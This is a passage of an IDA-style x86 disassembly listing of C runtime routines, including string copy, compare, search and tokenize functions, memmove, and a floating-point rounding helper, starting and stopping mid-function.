push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call sub_420446
mov esi, eax
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41F69F
push [ebp+arg_0]
mov edi, eax
push esi
call sub_4204D3
add esp, 18h
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_41BE06 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BE40 proc near ; CODE XREF: sub_401ACD+1E81p
; sub_401ACD+1EA0p ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_41BE61
xor eax, eax
jmp short loc_41BE63
; ---------------------------------------------------------------------------
loc_41BE61: ; CODE XREF: sub_41BE40+1Bj
mov eax, edi
loc_41BE63: ; CODE XREF: sub_41BE40+1Fj
cld
pop edi
leave
retn
sub_41BE40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BE70 proc near ; CODE XREF: sub_401ACD+870p
; ___:0041DD1Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_41BEA1
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_41BE9F
jz short loc_41BEA1
dec ecx
dec ecx
loc_41BE9F: ; CODE XREF: sub_41BE70+29j
not ecx
loc_41BEA1: ; CODE XREF: sub_41BE70+9j
; sub_41BE70+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_41BE70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BEB0 proc near ; CODE XREF: sub_401ACD+42Fp
; sub_401ACD+2FFCp ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_41BF21
sub_41BEB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BEC0 proc near ; CODE XREF: sub_401ACD+438p
; sub_401ACD+75FEp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_41BEDC
loc_41BECD: ; CODE XREF: sub_41BEC0+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_41BF0F
test ecx, 3
jnz short loc_41BECD
loc_41BEDC: ; CODE XREF: sub_41BEC0+Bj
; sub_41BEC0+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41BEDC
mov eax, [ecx-4]
test al, al
jz short loc_41BF1E
test ah, ah
jz short loc_41BF19
test eax, 0FF0000h
jz short loc_41BF14
test eax, 0FF000000h
jz short loc_41BF0F
jmp short loc_41BEDC
; ---------------------------------------------------------------------------
loc_41BF0F: ; CODE XREF: sub_41BEC0+12j
; sub_41BEC0+4Bj
lea edi, [ecx-1]
jmp short loc_41BF21
; ---------------------------------------------------------------------------
loc_41BF14: ; CODE XREF: sub_41BEC0+44j
lea edi, [ecx-2]
jmp short loc_41BF21
; ---------------------------------------------------------------------------
loc_41BF19: ; CODE XREF: sub_41BEC0+3Dj
lea edi, [ecx-3]
jmp short loc_41BF21
; ---------------------------------------------------------------------------
loc_41BF1E: ; CODE XREF: sub_41BEC0+39j
lea edi, [ecx-4]
loc_41BF21: ; CODE XREF: sub_41BEB0+5j
; sub_41BEC0+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_41BF46
loc_41BF2D: ; CODE XREF: sub_41BEC0+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_41BF98
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_41BF2D
jmp short loc_41BF46
; ---------------------------------------------------------------------------
loc_41BF41: ; CODE XREF: sub_41BEC0+9Ej
; sub_41BEC0+B8j
mov [edi], edx
add edi, 4
loc_41BF46: ; CODE XREF: sub_41BEC0+6Bj
; sub_41BEC0+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_41BF41
test dl, dl
jz short loc_41BF98
test dh, dh
jz short loc_41BF8F
test edx, 0FF0000h
jz short loc_41BF82
test edx, 0FF000000h
jz short loc_41BF7A
jmp short loc_41BF41
; ---------------------------------------------------------------------------
loc_41BF7A: ; CODE XREF: sub_41BEC0+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BF82: ; CODE XREF: sub_41BEC0+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BF8F: ; CODE XREF: sub_41BEC0+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BF98: ; CODE XREF: sub_41BEC0+72j
; sub_41BEC0+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_41BEC0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41BFB0
loc_41BFA0: ; CODE XREF: sub_41BFB0+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_41BFB0
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BFB0 proc near ; CODE XREF: sub_401ACD+414p
; sub_401ACD+4C3p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_41BFB6: ; CODE XREF: sub_41B900+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_41BFDB
loc_41BFC8: ; CODE XREF: sub_41BFB0+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_41BFA0
test cl, cl
jz short loc_41C024
test edx, 3
jnz short loc_41BFC8
loc_41BFDB: ; CODE XREF: sub_41BFB0+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_41BFE6: ; CODE XREF: sub_41BFB0+61j
; sub_41BFB0+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_41C028
and eax, 81010100h
jz short loc_41BFE6
and eax, 1010100h
jnz short loc_41C022
and esi, 80000000h
jnz short loc_41BFE6
loc_41C022: ; CODE XREF: sub_41BFB0+68j
; sub_41BFB0+81j ...
pop esi
pop edi
loc_41C024: ; CODE XREF: sub_41BFB0+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41C028: ; CODE XREF: sub_41BFB0+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_41C065
test al, al
jz short loc_41C022
cmp ah, bl
jz short loc_41C05E
test ah, ah
jz short loc_41C022
shr eax, 10h
cmp al, bl
jz short loc_41C057
test al, al
jz short loc_41C022
cmp ah, bl
jz short loc_41C050
test ah, ah
jz short loc_41C022
jmp short loc_41BFE6
; ---------------------------------------------------------------------------
loc_41C050: ; CODE XREF: sub_41BFB0+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C057: ; CODE XREF: sub_41BFB0+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C05E: ; CODE XREF: sub_41BFB0+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C065: ; CODE XREF: sub_41BFB0+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_41BFB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C070 proc near ; CODE XREF: sub_401ACD+1AEp
; sub_401ACD+205p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_41C0BC
loc_41C080: ; CODE XREF: sub_41C070+3Cj
; sub_41C070+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_41C0B4
or al, al
jz short loc_41C0B0
cmp ah, [ecx+1]
jnz short loc_41C0B4
or ah, ah
jz short loc_41C0B0
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_41C0B4
or al, al
jz short loc_41C0B0
cmp ah, [ecx+3]
jnz short loc_41C0B4
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_41C080
mov edi, edi
loc_41C0B0: ; CODE XREF: sub_41C070+18j
; sub_41C070+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41C0B4: ; CODE XREF: sub_41C070+14j
; sub_41C070+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41C0BC: ; CODE XREF: sub_41C070+Ej
test edx, 1
jz short loc_41C0D8
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_41C0B4
inc ecx
or al, al
jz short loc_41C0B0
test edx, 2
jz short loc_41C080
loc_41C0D8: ; CODE XREF: sub_41C070+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_41C0B4
or al, al
jz short loc_41C0B0
cmp ah, [ecx+1]
jnz short loc_41C0B4
or ah, ah
jz short loc_41C0B0
add ecx, 2
jmp short loc_41C080
sub_41C070 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C0F4 proc near ; CODE XREF: sub_401ACD+B5p
; sub_401ACD+D5p ...
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
push 8
xor eax, eax
pop ecx
lea edi, [ebp+var_20]
rep stosd
push 7
pop edi
loc_41C10D: ; CODE XREF: sub_41C0F4+32j
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_41C10D
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_41C135
mov edx, dword_4DB2C4
loc_41C135: ; CODE XREF: sub_41C0F4+39j
; sub_41C0F4+5Fj
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_41C155
test al, al
jz short loc_41C155
inc edx
jmp short loc_41C135
; ---------------------------------------------------------------------------
loc_41C155: ; CODE XREF: sub_41C0F4+58j
; sub_41C0F4+5Cj
mov ebx, edx
loc_41C157: ; CODE XREF: sub_41C0F4+81j
mov al, [edx]
test al, al
jz short loc_41C17B
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_41C177
inc edx
jmp short loc_41C157
; ---------------------------------------------------------------------------
loc_41C177: ; CODE XREF: sub_41C0F4+7Ej
and byte ptr [edx], 0
inc edx
loc_41C17B: ; CODE XREF: sub_41C0F4+67j
mov eax, ebx
pop edi
sub eax, edx
pop esi
neg eax
sbb eax, eax
mov dword_4DB2C4, edx
and eax, ebx
pop ebx
leave
retn
sub_41C0F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C190 proc near ; CODE XREF: sub_409A2C+1Cp
; sub_415220+19p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push [ebp+arg_C]
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
mov [ebp+var_14], 42h
push eax
call sub_41F69F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41C1CE
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41C1DB
; ---------------------------------------------------------------------------
loc_41C1CE: ; CODE XREF: sub_41C190+34j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41F58A
pop ecx
pop ecx
loc_41C1DB: ; CODE XREF: sub_41C190+3Cj
mov eax, esi
pop esi
leave
retn
sub_41C190 endp
; =============== S U B R O U T I N E =======================================
sub_41C1E0 proc near ; CODE XREF: sub_40AFEA+88p
; sub_40B64A+60p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_41C294
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_41C20A
loc_41C1FB: ; CODE XREF: sub_41C1E0+28j
mov al, [edi]
inc edi
test al, al
jz short loc_41C23B
test edi, 3
jnz short loc_41C1FB
loc_41C20A: ; CODE XREF: sub_41C1E0+19j
; sub_41C1E0+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_41C20A
mov eax, [edi-4]
test al, al
jz short loc_41C248
test ah, ah
jz short loc_41C243
test eax, 0FF0000h
jz short loc_41C23E
test eax, 0FF000000h
jnz short loc_41C20A
loc_41C23B: ; CODE XREF: sub_41C1E0+20j
dec edi
jmp short loc_41C24B
; ---------------------------------------------------------------------------
loc_41C23E: ; CODE XREF: sub_41C1E0+52j
sub edi, 2
jmp short loc_41C24B
; ---------------------------------------------------------------------------
loc_41C243: ; CODE XREF: sub_41C1E0+4Bj
sub edi, 3
jmp short loc_41C24B
; ---------------------------------------------------------------------------
loc_41C248: ; CODE XREF: sub_41C1E0+47j
sub edi, 4
loc_41C24B: ; CODE XREF: sub_41C1E0+5Cj
; sub_41C1E0+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_41C260
mov ebx, ecx
shr ecx, 2
jnz short loc_41C2AC
jmp short loc_41C27C
; ---------------------------------------------------------------------------
loc_41C260: ; CODE XREF: sub_41C1E0+75j
; sub_41C1E0+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_41C29A
mov [edi], dl
inc edi
dec ecx
jz short loc_41C290
test esi, 3
jnz short loc_41C260
mov ebx, ecx
shr ecx, 2
jnz short loc_41C2AC
loc_41C27C: ; CODE XREF: sub_41C1E0+7Ej
; sub_41C1E0+CAj
mov ecx, ebx
and ecx, 3
jz short loc_41C290
loc_41C283: ; CODE XREF: sub_41C1E0+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_41C292
dec ecx
jnz short loc_41C283
loc_41C290: ; CODE XREF: sub_41C1E0+8Bj
; sub_41C1E0+A1j
mov [edi], cl
loc_41C292: ; CODE XREF: sub_41C1E0+ABj
pop ebx
pop esi
loc_41C294: ; CODE XREF: sub_41C1E0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C29A: ; CODE XREF: sub_41C1E0+85j
; sub_41C1E0+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C2A4: ; CODE XREF: sub_41C1E0+E4j
; sub_41C1E0+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41C27C
loc_41C2AC: ; CODE XREF: sub_41C1E0+7Cj
; sub_41C1E0+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41C2A4
test dl, dl
jz short loc_41C29A
test dh, dh
jz short loc_41C2F8
test edx, 0FF0000h
jz short loc_41C2E8
test edx, 0FF000000h
jnz short loc_41C2A4
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C2E8: ; CODE XREF: sub_41C1E0+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C2F8: ; CODE XREF: sub_41C1E0+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41C1E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C310 proc near ; CODE XREF: sub_40BFA3+15p
; sub_40BFA3+3Bp ...
var_3A3BFFC0 = byte ptr -3A3BFFC0h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41C330
cmp edi, eax
jb loc_41C4A8
loc_41C330: ; CODE XREF: sub_41C310+16j
test edi, 3
jnz short loc_41C34C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41C36C
rep movsd
jmp off_41C458[edx*4]
; ---------------------------------------------------------------------------
loc_41C34C: ; CODE XREF: sub_41C310+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41C364
and eax, 3
add ecx, eax
jmp dword ptr loc_41C36C+4[eax*4]
; ---------------------------------------------------------------------------
loc_41C364: ; CODE XREF: sub_41C310+46j
jmp dword ptr loc_41C468[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41C36C: ; CODE XREF: sub_41C310+31j
; sub_41C310+8Ej ...
jmp off_41C3EC[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41C380
; ---------------------------------------------------------------------------
lodsb
retn
; ---------------------------------------------------------------------------
inc ecx
add al, dl
retn
; ---------------------------------------------------------------------------
dw 41h
; ---------------------------------------------------------------------------
loc_41C380: ; DATA XREF: sub_41C310+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41C36C
rep movsd
jmp off_41C458[edx*4]
; ---------------------------------------------------------------------------
align 4
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41C36C
rep movsd
jmp off_41C458[edx*4]
; ---------------------------------------------------------------------------
align 10h
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41C36C
rep movsd
jmp off_41C458[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41C3EC dd offset loc_41C44F ; DATA XREF: sub_41C310:loc_41C36Cr
dd offset loc_41C43C
dd offset loc_41C434
dd offset loc_41C42C
dd offset loc_41C424
dd offset loc_41C41C
dd offset loc_41C414
dd offset loc_41C40C
; ---------------------------------------------------------------------------
loc_41C40C: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41C414: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41C41C: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41C424: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41C42C: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41C434: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41C43C: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41C44F: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310:off_41C3ECo
jmp off_41C458[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41C458 dd offset loc_41C468 ; DATA XREF: sub_41C310+35r
; sub_41C310+92r ...
dd offset loc_41C470
dd offset loc_41C47C
dd offset loc_41C490
; ---------------------------------------------------------------------------
loc_41C468: ; CODE XREF: sub_41C310+35j
; sub_41C310+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41C470: ; CODE XREF: sub_41C310+35j
; sub_41C310+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C47C: ; CODE XREF: sub_41C310+35j
; sub_41C310+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41C490: ; CODE XREF: sub_41C310+35j
; sub_41C310+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C4A8: ; CODE XREF: sub_41C310+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41C4DC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41C4D0
std
rep movsd
cld
jmp off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41C4D0: ; CODE XREF: sub_41C310+1B1j
; sub_41C310+208j ...
neg ecx
jmp dword ptr loc_41C59F+1[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41C4DC: ; CODE XREF: sub_41C310+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41C4F4
and eax, 3
sub ecx, eax
jmp dword ptr loc_41C4F4+4[eax*4]
; ---------------------------------------------------------------------------
loc_41C4F4: ; CODE XREF: sub_41C310+1D6j
; DATA XREF: sub_41C310+1DDr
jmp off_41C5F0[ecx*4]
; ---------------------------------------------------------------------------
align 4
or ch, al
inc ecx
add [eax], ch
lds eax, [ecx+0]
push eax
lds eax, [ecx+0]
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41C4D0
std
rep movsd
cld
jmp off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41C4D0
std
rep movsd
cld
jmp off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41C4D0
std
rep movsd
cld
jmp off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
align 4
movsb
lds eax, [ecx+0]
lodsb
lds eax, [ecx+0]
mov ah, 0C5h
inc ecx
add [ebp+eax*8-3A3BFFBFh], bh
inc ecx
add ah, cl
lds eax, [ecx+0]
aam 0C5h
inc ecx
loc_41C59F: ; DATA XREF: sub_41C310+1C2r
add bh, ah
lds eax, [ecx+0]
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41C5E7: ; CODE XREF: sub_41C310+1C2j
jmp off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41C5F0 dd offset loc_41C600 ; DATA XREF: sub_41C310+1B7r
; sub_41C310:loc_41C4F4r ...
dd offset loc_41C608
dd offset loc_41C618
dd offset loc_41C62C
; ---------------------------------------------------------------------------
loc_41C600: ; CODE XREF: sub_41C310+1B7j
; sub_41C310:loc_41C4F4j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C608: ; CODE XREF: sub_41C310+1B7j
; sub_41C310:loc_41C4F4j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C618: ; CODE XREF: sub_41C310+1B7j
; sub_41C310:loc_41C4F4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C62C: ; CODE XREF: sub_41C310+1B7j
; sub_41C310:loc_41C4F4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41C310 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C645 proc near ; CODE XREF: sub_40BFEB+40p
; ___:0040E29Fp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_14], 49h
push eax
mov [ebp+var_18], eax
mov [ebp+var_20], eax
call sub_41AFE0
mov [ebp+var_1C], eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
push eax
call sub_420510
add esp, 10h
leave
retn
sub_41C645 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41C679(double)
sub_41C679 proc near ; CODE XREF: sub_40D030+38p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_43A290
call sub_4217E9
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41C6FF
call sub_4216B1
pop ecx
test eax, eax
pop ecx
jle short loc_41C6E2
cmp eax, 2
jle short loc_41C6D4
cmp eax, 3
jnz short loc_41C6E2
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Bh ; double
call sub_420FC1
add esp, 10h
jmp short loc_41C744
; ---------------------------------------------------------------------------
loc_41C6D4: ; CODE XREF: sub_41C679+3Fj
push esi
push ebx
call sub_4217E9
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41C744
; ---------------------------------------------------------------------------
loc_41C6E2: ; CODE XREF: sub_41C679+3Aj
; sub_41C679+44j
fld [ebp+arg_0]
fadd dbl_427718
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Bh
push 8
jmp short loc_41C73C
; ---------------------------------------------------------------------------
loc_41C6FF: ; CODE XREF: sub_41C679+2Fj
call sub_421676
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41C722
loc_41C714: ; CODE XREF: sub_41C679+ACj
push esi
push ebx
call sub_4217E9
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41C744
; ---------------------------------------------------------------------------
loc_41C722: ; CODE XREF: sub_41C679+99j
test bl, 20h
jnz short loc_41C714
fld [ebp+var_8]
